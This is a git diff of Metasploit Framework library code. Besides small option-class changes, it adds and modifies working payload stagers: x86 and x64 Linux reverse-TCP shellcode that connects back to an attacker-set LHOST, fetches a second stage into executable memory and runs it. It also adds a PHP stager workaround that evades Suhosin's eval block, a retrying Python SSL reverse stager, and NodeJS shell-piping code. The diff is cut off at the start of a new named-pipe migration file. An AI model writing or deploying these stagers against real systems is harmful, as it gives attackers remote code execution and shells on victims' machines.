module Msf # A optional regex to validate the option value # attr_accessor :regex + # + # Aliases for this option for backward compatibility + # + attr_accessor :aliases protected diff --git a/lib/msf/core/opt_float.rb b/lib/msf/core/opt_float.rb new file mode 100644 index 0000000000..80f0935c7e --- /dev/null +++ b/lib/msf/core/opt_float.rb @@ -0,0 +1,24 @@ +# -*- coding: binary -*- + +module Msf + ### + # + # Float option. + # + ### + class OptFloat < OptBase + def type + 'float' + end + + def normalize(value) + Float(value) if value.present? && valid?(value) + end + + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) + Float(value) rescue return false if value.present? + super + end + end +end diff --git a/lib/msf/core/opt_int.rb b/lib/msf/core/opt_int.rb index 047c9ab05f..74d4c064a6 100644 --- a/lib/msf/core/opt_int.rb +++ b/lib/msf/core/opt_int.rb @@ -1,36 +1,28 @@ # -*- coding: binary -*- module Msf - -### -# -# Integer option. -# -### -class OptInt < OptBase - def type - return 'integer' - end - - def normalize(value) - if value.to_s.match(/^0x[a-fA-F\d]+$/) - value.to_i(16) - elsif value.present? - value.to_i - else - nil - end - end - - def valid?(value, check_empty: true) - return false if check_empty && empty_required_value?(value) - - if value.present? and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/) - return false + ### + # + # Integer option. + # + ### + class OptInt < OptBase + def type + 'integer' end - return super + def normalize(value) + if value.to_s.match(/^0x[a-fA-F\d]+$/) + value.to_i(16) + elsif value.present? + value.to_i + end + end + + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) + return false if value.present? && !value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/) + super + end end end - -end diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index 1c6e26a42b..da679724a4 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -12,6 +12,7 @@ module Msf autoload :OptBool, 'msf/core/opt_bool' autoload :OptEnum, 'msf/core/opt_enum' autoload :OptInt, 'msf/core/opt_int' + autoload :OptFloat, 'msf/core/opt_float' autoload :OptPath, 'msf/core/opt_path' autoload :OptPort, 'msf/core/opt_port' autoload :OptRaw, 'msf/core/opt_raw' @@ -35,6 +36,7 @@ module Msf # * {OptAddress} - IP address or hostname # * {OptPath} - Path name on disk or an Object ID # * {OptInt} - An integer value + # * {OptFloat} - A float value # * {OptEnum} - Select from a set of valid values # * {OptAddressRange} - A subnet or range of addresses # * {OptRegexp} - Valid Ruby regular expression diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index 9b17e68aa2..3c564843f2 100644 --- a/lib/msf/core/payload/android.rb +++ b/lib/msf/core/payload/android.rb @@ -51,7 +51,8 @@ module Msf::Payload::Android arch: opts[:uuid].arch, expiration: ds['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], - transports: opts[:transport_config] || [transport_config(opts)] + transports: opts[:transport_config] || [transport_config(opts)], + stageless: opts[:stageless] == true } config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index bb7d04ae8b..cddbee7108 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -41,7 +41,10 @@ class Msf::Payload::Apk application = amanifest.xpath('//application') application_name = application.attribute("name") if application_name - return application_name.to_s + application_str = application_name.to_s + unless application_str == 'android.app.Application' + return application_str + end end activities = amanifest.xpath("//activity|//activity-alias") for activity in activities @@ -221,7 +224,7 @@ class Msf::Payload::Apk FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali") package = amanifest.xpath("//manifest").first['package'] - package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}" + package = package.downcase + ".#{Rex::Text::rand_text_alpha_lower(5)}" classes = {} classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb index c11114c14e..8c590465a8 100644 --- a/lib/msf/core/payload/java/meterpreter_loader.rb +++ b/lib/msf/core/payload/java/meterpreter_loader.rb @@ -69,7 +69,8 @@ module Payload::Java::MeterpreterLoader arch: opts[:uuid].arch, expiration: ds['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], - transports: opts[:transport_config] || [transport_config(opts)] + transports: opts[:transport_config] || [transport_config(opts)], + stageless: opts[:stageless] == true } # create the configuration instance based off the parameters diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index cc7fbc7b02..d630bf749e 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -31,7 +31,7 @@ module Payload::Linux::BindTcp # Generate the more advanced stager if we have the space if self.available_space && required_space <= self.available_space - conf[:exitfunk] = datastore['EXITFUNC'], + conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 89e37a8c44..e2ee9815d5 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -7,7 +7,6 @@ require 'msf/core/payload/linux/send_uuid' module Msf - ### # # Complex reverse TCP payload generation for Linux ARCH_X86 @@ -15,7 +14,7 @@ module Msf ### -module Payload::Linux::ReverseTcp +module Payload::Linux::ReverseTcp_x86 include Msf::Payload::TransportConfig include Msf::Payload::Linux @@ -26,16 +25,15 @@ module Payload::Linux::ReverseTcp # def generate conf = { - port: datastore['LPORT'], - host: datastore['LHOST'], - retry_count: datastore['ReverseConnectRetries'], - reliable: false + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['StagerRetryCount'], + sleep_seconds: datastore['StagerRetryWait'], } # Generate the advanced stager if we have space if self.available_space && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'] - conf[:reliable] = true end generate_reverse_tcp(conf) @@ -81,59 +79,93 @@ module Payload::Linux::ReverseTcp # # @option opts [Integer] :port The port to connect to # @option opts [String] :host The host IP to connect to - # @option opts [Bool] :reliable Whether or not to enable error handling code # def asm_reverse_tcp(opts={}) # TODO: reliability is coming - retry_count = [opts[:retry_count].to_i, 1].max - reliable = opts[:reliable] - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + retry_count = opts[:retry_count] + encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + seconds = (opts[:sleep_seconds] || 5.0) + sleep_seconds = seconds.to_i + sleep_nanoseconds = (seconds % 1 * 1000000000).to_i asm = %Q^ - xor ebx, ebx - mul ebx - push ebx - inc ebx - push ebx - push 0x2 - mov al, 0x66 - mov ecx, esp - int 0x80 ; sys_socketcall (socket()) + push #{retry_count} ; retry counter + pop esi + create_socket: + xor ebx, ebx + mul ebx + push ebx + inc ebx + push ebx + push 0x2 + mov al, 0x66 + mov ecx, esp + int 0x80 ; sys_socketcall (socket()) + xchg eax, edi ; store the socket in edi - xchg eax, edi ; store the socket in edi - pop ebx ; set ebx back to zero - push #{encoded_host} - push #{encoded_port} - mov ecx, esp - push 0x66 - pop eax - push eax - push ecx - push edi - mov ecx, esp - inc ebx - int 0x80 ; sys_socketcall (connect()) + set_address: + pop ebx ; set ebx back to zero + push #{encoded_host} + push #{encoded_port} + mov ecx, esp + + try_connect: + push 0x66 + pop eax + push eax + push ecx + push edi + mov ecx, esp + inc ebx + int 0x80 ; sys_socketcall (connect()) + test eax, eax + jns mprotect + + handle_failure: + dec esi + jz failed + push 0xa2 + pop eax + push 0x#{sleep_nanoseconds.to_s(16)} + push 0x#{sleep_seconds.to_s(16)} + mov ebx, esp + xor ecx, ecx + int 0x80 ; sys_nanosleep + test eax, eax + jns create_socket + jmp failed ^ asm << asm_send_uuid if include_send_uuid asm << %Q^ - mov dl, 0x7 - mov ecx, 0x1000 - mov ebx, esp - shr ebx, 0xc - shl ebx, 0xc - mov al, 0x7d - int 0x80 ; sys_mprotect + mprotect: + mov dl, 0x7 + mov ecx, 0x1000 + mov ebx, esp + shr ebx, 0xc + shl ebx, 0xc + mov al, 0x7d + int 0x80 ; sys_mprotect + test eax, eax + js failed - pop ebx - mov ecx, esp - cdq - mov dh, 0xc - mov al, 0x3 - int 0x80 ; sys_read (recv()) - jmp ecx + recv: + pop ebx + mov ecx, esp + cdq + mov dh, 0xc + mov al, 0x3 + int 0x80 ; sys_read (recv()) + test eax, eax + js failed + jmp ecx + + failed: + mov eax, 0x1 + mov ebx, 0x1 ; set exit status to 1 + int 0x80 ; sys_exit ^ asm @@ -142,4 +174,3 @@ module Payload::Linux::ReverseTcp end end - diff --git a/lib/msf/core/payload/linux/x64/reverse_tcp.rb b/lib/msf/core/payload/linux/x64/reverse_tcp.rb new file mode 100644 index 0000000000..cd8f0a724c --- /dev/null +++ b/lib/msf/core/payload/linux/x64/reverse_tcp.rb @@ -0,0 +1,175 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/linux' + +module Msf + + +### +# +# Complex reverse TCP payload generation for Linux ARCH_X64 +# +### + +module Payload::Linux::ReverseTcp_x64 + + include Msf::Payload::TransportConfig + include Msf::Payload::Linux + + # + # Generate the first stage + # + def generate + conf = { + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + sleep_seconds: datastore['StagerRetryWait'], + } + + # Generate the advanced stager if we have space + if self.available_space && required_space <= self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + end + + generate_reverse_tcp(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def transport_config(opts={}) + transport_config_reverse_tcp(opts) + end + + # + # Generate and compile the stager + # + def generate_reverse_tcp(opts={}) + asm = asm_reverse_tcp(opts) + buf = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + apply_prepends(buf) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = 300 + + # Reliability adds 10 bytes for recv error checks + space += 10 + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Integer] :port The port to connect to + # @option opts [String] :host The host IP to connect to + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_tcp(opts={}) + # TODO: reliability is coming + retry_count = opts[:retry_count] + reliable = opts[:reliable] + encoded_port = "%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + encoded_host = "%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + seconds = (opts[:sleep_seconds] || 5.0) + sleep_seconds = seconds.to_i + sleep_nanoseconds = (seconds % 1 * 1000000000).to_i + + asm = %Q^ + mmap: + xor rdi, rdi + push 0x9 + pop rax + cdq + mov dh, 0x10 + mov rsi, rdx + xor r9, r9 + push 0x22 + pop r10 + mov dl, 0x7 + syscall ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) + test rax, rax + js failed + + push #{retry_count} ; retry counter + pop r9 + + create_socket: + push rsi + push rax + push 0x29 + pop rax + cdq + push 0x2 + pop rdi + push 0x1 + pop rsi + syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + test rax, rax + js failed + + connect: + xchg rdi, rax + mov rcx, 0x#{encoded_host}#{encoded_port} + push rcx + mov rsi, rsp + push 0x10 + pop rdx + push 0x2a + pop rax + syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16) + test rax, rax + jns recv + + handle_failure: + dec r9 + jz failed + push 0x23 + pop rax + push 0x#{sleep_nanoseconds.to_s(16)} + push 0x#{sleep_seconds.to_s(16)} + mov rdi, rsp + xor rsi, rsi + syscall ; sys_nanosleep + test rax, rax + jns create_socket + jmp failed + + recv: + pop rcx + pop rsi + pop rdx + syscall ; read(3, "", 4096) + test rax, rax + js failed + + jmp rsi ; to stage + + failed: + push 0x3c + pop rax + push 0x1 + pop rdi + syscall ; exit(1) + ^ + + asm + end + +end + +end diff --git a/lib/msf/core/payload/multi/reverse_http.rb b/lib/msf/core/payload/multi/reverse_http.rb index 9c5af06037..008f99f5a0 100644 --- a/lib/msf/core/payload/multi/reverse_http.rb +++ b/lib/msf/core/payload/multi/reverse_http.rb @@ -24,7 +24,8 @@ module Payload::Multi::ReverseHttp super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), diff --git a/lib/msf/core/payload/nodejs.rb b/lib/msf/core/payload/nodejs.rb index 3ae0de1ab3..1787080721 100644 --- a/lib/msf/core/payload/nodejs.rb +++ b/lib/msf/core/payload/nodejs.rb @@ -18,8 +18,13 @@ module Msf::Payload::NodeJS var server = net.createServer(function(socket) { var sh = cp.spawn(cmd, []); socket.pipe(sh.stdin); - util.pump(sh.stdout, socket); - util.pump(sh.stderr, socket); + if (typeof util.pump === "undefined") { + sh.stdout.pipe(client.socket); + sh.stderr.pipe(client.socket); + } else { + util.pump(sh.stdout, client.socket); + util.pump(sh.stderr, client.socket); + } }); server.listen(#{datastore['LPORT']}); })(); @@ -53,8 +58,13 @@ module Msf::Payload::NodeJS var client = this; client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() { client.socket.pipe(sh.stdin); - util.pump(sh.stdout, client.socket); - util.pump(sh.stderr, client.socket); + if (typeof util.pump === "undefined") { + sh.stdout.pipe(client.socket); + sh.stderr.pipe(client.socket); + } else { + util.pump(sh.stdout, client.socket); + util.pump(sh.stderr, client.socket); + } }); })(); EOS diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb index 7c26b2c721..bf5190cde9 100644 --- a/lib/msf/core/payload/php.rb +++ b/lib/msf/core/payload/php.rb @@ -103,7 +103,7 @@ module Msf::Payload::Php }else" proc_open = " if(#{is_callable}('proc_open')and!#{in_array}('proc_open',#{dis})){ - $handle=proc_open(#{cmd},array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); + $handle=proc_open(#{cmd},array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes); #{output}=NULL; while(!feof($pipes[1])){ #{output}.=fread($pipes[1],1024); diff --git a/lib/msf/core/payload/php/bind_tcp.rb b/lib/msf/core/payload/php/bind_tcp.rb index 4756ce810d..7dac6fe441 100644 --- a/lib/msf/core/payload/php/bind_tcp.rb +++ b/lib/msf/core/payload/php/bind_tcp.rb @@ -109,7 +109,15 @@ while (strlen($b) < $len) { # Set up the socket for the main stage to use. $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; -eval($b); +if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) +{ + $suhosin_bypass=create_function('', $b); + $suhosin_bypass(); +} +else +{ + eval($b); +} die();^ end diff --git a/lib/msf/core/payload/php/reverse_tcp.rb b/lib/msf/core/payload/php/reverse_tcp.rb index 9608f7a42f..5cc7daae8c 100644 --- a/lib/msf/core/payload/php/reverse_tcp.rb +++ b/lib/msf/core/payload/php/reverse_tcp.rb @@ -60,15 +60,18 @@ $port = #{opts[:port]}; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; -} elseif (($f = 'fsockopen') && is_callable($f)) { +} +if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; -} elseif (($f = 'socket_create') && is_callable($f)) { +} +if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(#{ipf}, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; -} else { +} +if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } @@ -99,7 +102,15 @@ while (strlen($b) < $len) { # Set up the socket for the main stage to use. $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; -eval($b); +if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) +{ + $suhosin_bypass=create_function('', $b); + $suhosin_bypass(); +} +else +{ + eval($b); +} die();^ end diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 0d5199d3aa..95f2335763 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -29,6 +29,7 @@ module Payload::Python::MeterpreterLoader )) register_advanced_options([ + OptBool.new('MeterpreterTryToFork', [ true, 'Fork a new process if the functionality is available', true ]), OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]) ], self.class) end @@ -61,8 +62,11 @@ module Payload::Python::MeterpreterLoader txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) } + unless ds['MeterpreterTryToFork'] + met.sub!('TRY_TO_FORK = True', 'TRY_TO_FORK = False') + end if ds['PythonMeterpreterDebug'] - met = met.sub("DEBUGGING = False", "DEBUGGING = True") + met.sub!('DEBUGGING = False', 'DEBUGGING = True') end met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}") @@ -74,6 +78,13 @@ module Payload::Python::MeterpreterLoader uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + if opts[:stageless] == true + session_guid = '00' * 16 + else + session_guid = SecureRandom.uuid.gsub(/-/, '') + end + met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'") + http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent'] http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST'] http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT'] diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb index 4f67295246..8369602654 100644 --- a/lib/msf/core/payload/python/reverse_tcp.rb +++ b/lib/msf/core/payload/python/reverse_tcp.rb @@ -19,7 +19,8 @@ module Payload::Python::ReverseTcp def initialize(*args) super register_advanced_options([ - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]) ], self.class) end @@ -32,7 +33,7 @@ module Payload::Python::ReverseTcp port: datastore['LPORT'], host: datastore['LHOST'], retry_count: datastore['StagerRetryCount'], - retry_wait: datastore['StagerRetryWait'], + retry_wait: datastore['StagerRetryWait'] } generate_reverse_tcp(conf) diff --git a/lib/msf/core/payload/python/reverse_tcp_ssl.rb b/lib/msf/core/payload/python/reverse_tcp_ssl.rb index e16eaf003a..ee65afe0ab 100644 --- a/lib/msf/core/payload/python/reverse_tcp_ssl.rb +++ b/lib/msf/core/payload/python/reverse_tcp_ssl.rb @@ -15,6 +15,14 @@ module Payload::Python::ReverseTcpSsl include Msf::Payload::Python include Msf::Payload::Python::ReverseTcp + def initialize(*args) + super + register_advanced_options([ + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), + OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]) + ], self.class) + end # # Generate the first stage @@ -22,7 +30,9 @@ module Payload::Python::ReverseTcpSsl def generate conf = { port: datastore['LPORT'], - host: datastore['LHOST'] + host: datastore['LHOST'], + retry_count: datastore['StagerRetryCount'], + retry_wait: datastore['StagerRetryWait'] } generate_reverse_tcp_ssl(conf) @@ -42,10 +52,29 @@ module Payload::Python::ReverseTcpSsl def generate_reverse_tcp_ssl(opts={}) # Set up the socket - cmd = "import ssl,socket,struct\n" - cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2 - cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n" - cmd << "s=ssl.wrap_socket(so)\n" + cmd = "import ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n" + if opts[:retry_wait].blank? # do not retry at all (old style) + cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2 + cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n" + cmd << "s=ssl.wrap_socket(so)\n" + else + if opts[:retry_count] > 0 + cmd << "for x in range(#{opts[:retry_count].to_i}):\n" + else + cmd << "while 1:\n" + end + cmd << "\ttry:\n" + cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2 + cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n" + cmd << "\t\ts=ssl.wrap_socket(so)\n" + cmd << "\t\tbreak\n" + cmd << "\texcept:\n" + if opts[:retry_wait].to_i <= 0 + cmd << "\t\tpass\n" # retry immediately + else + cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting + end + end cmd << py_send_uuid if include_send_uuid cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" cmd << "d=s.recv(l)\n" diff --git a/lib/msf/core/payload/r.rb b/lib/msf/core/payload/r.rb new file mode 100644 index 0000000000..730b01adde --- /dev/null +++ b/lib/msf/core/payload/r.rb @@ -0,0 +1,14 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf::Payload::R + + def initialize(info = {}) + super(info) + end + + def prepends(buf) + buf + end + +end diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 699e884714..1f2ff91aaf 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -165,8 +165,6 @@ module Msf::Payload::Stager # If the stage should be sent over the client connection that is # established (which is the default), then go ahead and transmit it. if (stage_over_connection?) - opts = {} - if respond_to? :include_send_uuid if include_send_uuid uuid_raw = conn.get_once(16, 1) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 3eb12a7037..c59c85577e 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -11,31 +11,35 @@ module Msf::Payload::TransportConfig include Msf::Payload::UUID::Options def transport_config_reverse_tcp(opts={}) + ds = opts[:datastore] || datastore config = transport_config_bind_tcp(opts) - config[:lhost] = datastore['LHOST'] + config[:lhost] = ds['LHOST'] config end def transport_config_reverse_ipv6_tcp(opts={}) + ds = opts[:datastore] || datastore config = transport_config_reverse_tcp(opts) config[:scheme] = 'tcp6' - config[:scope_id] = datastore['SCOPEID'] + config[:scope_id] = ds['SCOPEID'] config end def transport_config_bind_tcp(opts={}) + ds = opts[:datastore] || datastore { scheme: 'tcp', - lhost: datastore['LHOST'], - lport: datastore['LPORT'].to_i - }.merge(timeout_config) + lhost: ds['LHOST'], + lport: ds['LPORT'].to_i + }.merge(timeout_config(opts)) end def transport_config_reverse_https(opts={}) + ds = opts[:datastore] || datastore config = transport_config_reverse_http(opts) - config[:scheme] = datastore['OverrideScheme'] || 'https' - config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], - datastore['HandlerSSLCert']) + config[:scheme] = ds['OverrideScheme'] || 'https' + config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'], + ds['HandlerSSLCert']) config end @@ -50,27 +54,38 @@ module Msf::Payload::TransportConfig uri = luri + generate_uri_uuid(sum, opts[:uuid]) end + ds = opts[:datastore] || datastore { - scheme: datastore['OverrideScheme'] || 'http', - lhost: opts[:lhost] || datastore['LHOST'], - lport: (opts[:lport] || datastore['LPORT']).to_i, + scheme: ds['OverrideScheme'] || 'http', + lhost: opts[:lhost] || ds['LHOST'], + lport: (opts[:lport] || ds['LPORT']).to_i, uri: uri, - ua: datastore['MeterpreterUserAgent'], - proxy_host: datastore['PayloadProxyHost'], - proxy_port: datastore['PayloadProxyPort'], - proxy_type: datastore['PayloadProxyType'], - proxy_user: datastore['PayloadProxyUser'], - proxy_pass: datastore['PayloadProxyPass'] - }.merge(timeout_config) + ua: ds['MeterpreterUserAgent'], + proxy_host: ds['PayloadProxyHost'], + proxy_port: ds['PayloadProxyPort'], + proxy_type: ds['PayloadProxyType'], + proxy_user: ds['PayloadProxyUser'], + proxy_pass: ds['PayloadProxyPass'] + }.merge(timeout_config(opts)) + end + + def transport_config_reverse_named_pipe(opts={}) + ds = opts[:datastore] || datastore + { + scheme: 'pipe', + lhost: ds[:pipe_host] || ds['PIPEHOST'], + uri: "/#{ds[:pipe_host] || ds['PIPENAME']}" + }.merge(timeout_config(opts)) end private - def timeout_config + def timeout_config(opts={}) + ds = opts[:datastore] || datastore { - comm_timeout: datastore['SessionCommunicationTimeout'].to_i, - retry_total: datastore['SessionRetryTotal'].to_i, - retry_wait: datastore['SessionRetryWait'].to_i + comm_timeout: (ds[:comm_timeout] || ds['SessionCommunicationTimeout']).to_i, + retry_total: (ds[:retry_total] || ds['SessionRetryTotal']).to_i, + retry_wait: (ds[:retry_wait] || ds['SessionRetryWait']).to_i } end diff --git a/lib/msf/core/payload/uuid.rb b/lib/msf/core/payload/uuid.rb index 6b439989ad..acc100406a 100644 --- a/lib/msf/core/payload/uuid.rb +++ b/lib/msf/core/payload/uuid.rb @@ -42,7 +42,8 @@ class Msf::Payload::UUID 23 => ARCH_ZARCH, 24 => ARCH_AARCH64, 25 => ARCH_MIPS64, - 26 => ARCH_PPC64LE + 26 => ARCH_PPC64LE, + 27 => ARCH_R } Platforms = { @@ -69,7 +70,8 @@ class Msf::Payload::UUID 20 => 'js', 21 => 'python', 22 => 'nodejs', - 23 => 'firefox' + 23 => 'firefox', + 24 => 'r' } # The raw length of the UUID structure diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 63b9a5d651..8945ded6bb 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -35,7 +35,7 @@ module Payload::Windows::BindTcp # Generate the more advanced stager if we have the space if self.available_space && required_space <= self.available_space - conf[:exitfunk] = datastore['EXITFUNC'], + conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/bind_tcp_rc4.rb b/lib/msf/core/payload/windows/bind_tcp_rc4.rb index d8cdbddb97..37657ddc8a 100644 --- a/lib/msf/core/payload/windows/bind_tcp_rc4.rb +++ b/lib/msf/core/payload/windows/bind_tcp_rc4.rb @@ -33,7 +33,7 @@ module Payload::Windows::BindTcpRc4 # Generate the more advanced stager if we have the space if self.available_space && required_space <= self.available_space - conf[:exitfunk] = datastore['EXITFUNC'], + conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 7190d4f8b9..98824221e3 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -28,7 +28,7 @@ module Payload::Windows::MeterpreterLoader ], 'Platform' => 'win', 'Arch' => ARCH_X86, - 'PayloadCompat' => { 'Convention' => 'sockedi -https', }, + 'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', }, 'Stage' => { 'Payload' => "" } )) end @@ -53,9 +53,9 @@ module Payload::Windows::MeterpreterLoader add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} ^ - unless opts[:stageless] + unless opts[:stageless] || opts[:force_write_handle] == true asm << %Q^ - mov [ebx], edi ; write the current socket to the config + mov [ebx], edi ; write the current socket/handle to the config ^ end @@ -77,12 +77,14 @@ module Payload::Windows::MeterpreterLoader # create the configuration block, which for staged connections is really simple. config_opts = { - arch: opts[:uuid].arch, - exitfunk: ds['EXITFUNC'], - expiration: ds['SessionExpirationTimeout'].to_i, - uuid: opts[:uuid], - transports: opts[:transport_config] || [transport_config(opts)], - extensions: [] + arch: opts[:uuid].arch, + null_session_guid: opts[:null_session_guid] == true, + exitfunk: ds[:exit_func] || ds['EXITFUNC'], + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config] || [transport_config(opts)], + extensions: [], + stageless: opts[:stageless] == true } # create the configuration instance based off the parameters diff --git a/lib/msf/core/payload/windows/migrate.rb b/lib/msf/core/payload/windows/migrate.rb index f9b924780e..ca94445209 100644 --- a/lib/msf/core/payload/windows/migrate.rb +++ b/lib/msf/core/payload/windows/migrate.rb @@ -3,3 +3,4 @@ require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/migrate_tcp' require 'msf/core/payload/windows/migrate_http' +require 'msf/core/payload/windows/migrate_named_pipe' diff --git a/lib/msf/core/payload/windows/migrate_named_pipe.rb b/lib/msf/core/payload/windows/migrate_named_pipe.rb new file mode 100644 index 0000000000..46344e106d --- /dev/null +++ 